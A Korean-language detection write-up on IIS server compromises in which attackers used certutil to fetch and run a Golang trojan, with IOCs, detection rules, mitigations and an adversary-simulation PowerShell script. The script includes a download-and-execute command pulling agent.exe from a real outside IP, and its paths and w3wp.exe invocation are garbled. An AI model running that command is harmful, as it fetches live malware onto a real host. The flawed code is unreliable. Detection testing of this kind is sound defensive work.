시도, 오류 및 오타: 왜 일부 악성코드 공격이 ‘정교하다’고 생각하지 않는지
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 기사는 위협 행위자가 손상된 IIS 웹 서버를 활용하여 공격 대상의 엔드포인트에서 Golang 기반 트로이 목마(agent.exe)를 다운로드하고 실행한 세 가지 별개의 사건을 설명합니다. 공격자들은 반복적으로 실행을 시도했으며, certutil을 사용해 페이로드를 가져오고 나중에 Windows Defender의 제외 항목을 추가한 후 Windows 서비스를 통해 지속성을 확립하려고 시도했습니다. 감지는 명령줄, 프로세스 트리 및 네트워크 활동을 캡처한 EDR과 Sysmon 로그를 통해 이루어졌습니다. 이 공격은 적대자가 완벽한 계획서를 따르기보다는 방어 장애물을 어떻게 적응해 나가는지를 보여줍니다.
조사
Huntress 분석가들은 공격 체인을 재구성하기 위해 Windows 이벤트 로그, Sysmon 이벤트 및 IIS 웹 서버 로그를 조사했습니다. 그들은 w3wp.exe를 통한 초기 웹 셸 실행을 식별하고, 잘못된 명령어와 반복적인 페이로드 배달 시도, 및 시작에 실패한 WindowsUpdate라는 서비스의 생성을 관찰했습니다. 파일 경로, 명령줄 및 네트워크 연결과 같은 여러 지표가 수집되었으며 세 가지 사건 전반에 걸쳐 상관되며 분석되었습니다.
완화
주요 완화 조치로는 IIS 서버 강화, 웹 셸 실행 제한, 엄격한 애플리케이션 허용 리스트 시행, certutil 및 PowerShell과 같은 LOLBins의 비정상적인 사용 모니터링, 및 Windows Defender 제외 항목의 임의 생성을 방지하는 것이 포함됩니다. 손상된 호스트의 신속한 격리 및 GotoHTTP와 같은 투하된 도구의 제거도 권장됩니다.
대응
탐지 시, 대응자는 영향을 받은 엔드포인트를 격리하고 전체 프로세스 트리 및 네트워크 로그를 수집하며, 악성 바이너리를 삭제하고 승인되지 않은 Windows Defender 제외 항목을 되돌리며 서비스 생성 실패를 확인해야 합니다. 손상된 페이지에 대한 철저한 웹 서버 검토를 수행하고 모든 손상된 자격 증명을 회전하십시오.
공격 흐름
탐지
파일 숨기기 위한 명령줄 실행 속성
보기
숫자로만 구성된 이름을 가진 수상한 실행 파일(명령줄)
보기
Windows Defender 설정의 수상한 변경 사항(PowerShell)
보기
데이터 인코딩 및 인증서 작업을 위한 Certutil 사용(명령줄)
보기
공용 사용자 프로필에 있는 수상한 파일(파일 이벤트)
보기
공용 사용자 프로필에서의 수상한 실행(프로세스 생성)
보기
탐지할 IOC(SourceIP): 일부 악성 공격이 생각만큼 ‘정교’하지 않은 이유
보기
탐지할 IOC(HashSha256): 일부 악성 공격이 생각만큼 ‘정교’하지 않은 이유
보기
탐지할 IOC(DestinationIP): 일부 악성 공격이 생각만큼 ‘정교’하지 않은 이유
보기
웹 서버 [웹 서버]의 악성 POST 요청 탐지
보기
웹 서버 프로세스 [Windows 프로세스 생성]에서 명령줄 실행 탐지
보기
시뮬레이션 실행
전제조건: 원격 검사 및 기준선을 통과해야 합니다.
이유: 이 섹션은 감지 규칙을 트리거하기 위해 설계된 적대자 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 서사는 식별된 TTP를 직접 반영해야 하며 탐지 로직에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 합니다.
-
공격 서사 및 명령어:
손상된 IIS 서버에서 코드 실행 권한을 이미 획득한 공격자는w3wp.exe프로세스(IIS 작업자)를 활용하여 일련의 서명된 바이너리 프록시를 실행합니다. 우선, 시스템 및 네트워크 상태를 열거합니다(whoami.exe,netstat -an,ipconfig /all). 그런 다음certutil.exe를 사용하여 원격 C2 서버에서 악성 페이로드(agent.exe)를 다운로드하여 공용 사용자 디렉터리에서 즉시 실행합니다. 모든 명령은cmd.exe /c를 통해,w3wp.exe의 컨텍스트에서 시작하여 프로세스 생성 이벤트가 규칙의 조건과 일치하도록 보장합니다.# 1. 시스템/사용자 정보 열거 Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c whoami.exe' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c netstat -an' -NoNewWindow Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList '/c ipconfig /all' -NoNewWindow # 2. certutil을 통해 악성 페이로드 다운로드 및 실행 $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList $maliciousCmd -NoNewWindow -
회귀 테스트 스크립트: 다음 스크립트는 Sigma 규칙을 트리거해야 하는 정확한 원격 측정을 재현하며 전체 공격 체인을 자동화합니다.
<# .SYNOPSIS "웹 서버 프로세스에서 명령줄 실행 감지" Sigma 규칙을 트리거하는 적대자 활동을 시뮬레이션합니다. .DESCRIPTION IIS 작업자 프로세스(w3wp.exe)에서 일련의 탐색 및 다운로드 후 실행 명령을 실행합니다. 프로세스 생성 감사(이벤트 ID 4688)가 활성화된 Windows 호스트에서 실행합니다. #> # w3wp.exe를 통한 명령을 호출하는 함수 function Invoke-W3wpCommand { param ( [Parameter(Mandatory=$true)] [string]$CmdLine ) Write-Host "Invoking via w3wp.exe: $CmdLine" Start-Process -FilePath "C:WindowsSystem32w3wp.exe" -ArgumentList "/c $CmdLine" -WindowStyle Hidden -PassThru | Out-Null } # 1. 탐색 명령어(MITRE T1033, T1016, T1069.001) $discoveryCommands = @( "whoami.exe", "netstat -an", "net user admin$", "ipconfig /all", "net localgroup administrators" ) foreach ($cmd in $discoveryCommands) { Invoke-W3wpCommand -CmdLine $cmd Start-Sleep -Seconds 2 } # 2. 악성 다운로드 및 실행(MITRE T1218.004) $maliciousCmd = '"cmd" /c certutil.exe -urlcache -split -f https://110.172.104.95:8000/api/download/windows-tools/amd64 C:UsersPublicagent.exe && start /b C:UsersPublicagent.exe' Invoke-W3wpCommand -CmdLine $maliciousCmd -
정리 명령: 다운로드된 페이로드를 제거하고 남은 프로세스를 종료합니다.
# 악성 에이전트 바이너리 삭제 Remove-Item -Path "C:UsersPublicagent.exe" -Force -ErrorAction SilentlyContinue # 아직 실행 중인 경우 옵션으로 에이전트 종료 Get-Process -Name "agent" -ErrorAction SilentlyContinue | Stop-Process -Force